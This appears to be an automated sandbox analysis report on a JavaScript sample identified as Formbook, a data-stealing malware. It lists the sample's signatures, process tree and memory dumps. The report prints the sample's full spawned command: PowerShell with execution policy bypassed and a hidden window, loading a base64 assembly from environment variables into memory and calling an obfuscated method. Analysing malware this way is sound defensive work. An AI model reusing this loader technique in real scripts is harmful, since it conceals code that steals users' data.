Analysis
- max time kernel
149s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
24/09/2026, 10:35
General
- Target w4RVHQN7.js
- Size 1.1MB
- Sample260924-mms95stvas
- SHA256 5eff8147a6101b5ccaabd2609553a69600d51caebaeb3fa2d03c231700469982
Malware Config
Signatures
- Family: Formbook
Formbook is a data stealing malware which is capable of stealing data.
- Formbook payload 2 IoCs
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious use of SetThreadContext 1 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 9 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\w4RVHQN7.js1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$meltable=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6;$dolabrate=[System.IO.MemoryStream][Convert]::FromBase64String($meltable);[System.Reflection.Assembly]::Load($dolabrate.ToArray())|Out-Null;[Win32.RMP.Cls_jbyAEZcyBu]::Met_jbyAEZcyBurG('87eRJFIiH7q87fzV4DM8QbshCC8GpXCBeW2pGGcI0njQpLRt840LMyOYJ28EArE4BpbGsNcHDKCU/wBsLkLe1w==','','p5dHR2Ttg/DYa7MVRimcNPkjO/tkenEiIZSCADYA+6JvwSF2k+ZAEQOGiCU/NXXe','5O7bFUhRc4PuMYhMbko4KT6Gij1CSIEqaZwqsfOx/AA=','x3Qz9SbeBm3b1f0S8qfjxEmGM+XueOY86lAzQ8U++zQ=','','gspqOZIIjG3iYlKrEqU9anPYMGycGFVJB5UeuSLFngA=','','yWAkvCqIKiQhAUtHl/jxUuwM4Rwwzs0pVGDt4hRFZxE=','btzqgv/J4dk5JO6nsOqCwpOHRn9Mq0oo1FEuXjM6a0Qhmdbc0jUZ7Z/K4bZ7rv93','u9rTfg+vapn9lb9hUyTApZUjnCT4xjQxgiyzX1fd3Es=','CTgrGLjMCweNwty43cbVrM4h6WVnMhNIvMSpXRhlm+0=','Pf8NCiNHJymtrUFsvg3o5dwP2Z4Ba5VmpEsuTKmKbyk=','','6Q19Y5f3li1GWQ73b98V6yv2CSdYDxmjzb1P1yYLBFY=','n4XggqGo4YXCV48lrDDWkh7wHUvSlQZspsRFAdgMUVI=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\Caspol.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
memory/2636-10-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/2636-12-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/2636-4-0x000001B9DA5E0000-0x000001B9DA602000-memory.dmp
memory/2636-11-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/2636-6-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/2636-7-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/2636-9-0x000001B9DA610000-0x000001B9DA632000-memory.dmp
memory/2636-8-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/2636-1-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/2636-0-0x00007FFD973EF000-0x00007FFD973F0000-memory.dmp
memory/2636-5-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/2636-13-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/2636-18-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/2636-15-0x00007FFD97260000-0x00007FFD97C04000-memory.dmp
memory/3188-16-0x0000000001930000-0x0000000001976000-memory.dmp
memory/3188-14-0x0000000000400000-0x0000000000446000-memory.dmp
memory/3188-19-0x0000000001D00000-0x0000000002074000-memory.dmp
memory/3188-20-0x0000000001930000-0x0000000001976000-memory.dmp
memory/3188-21-0x0000000001930000-0x0000000001976000-memory.dmp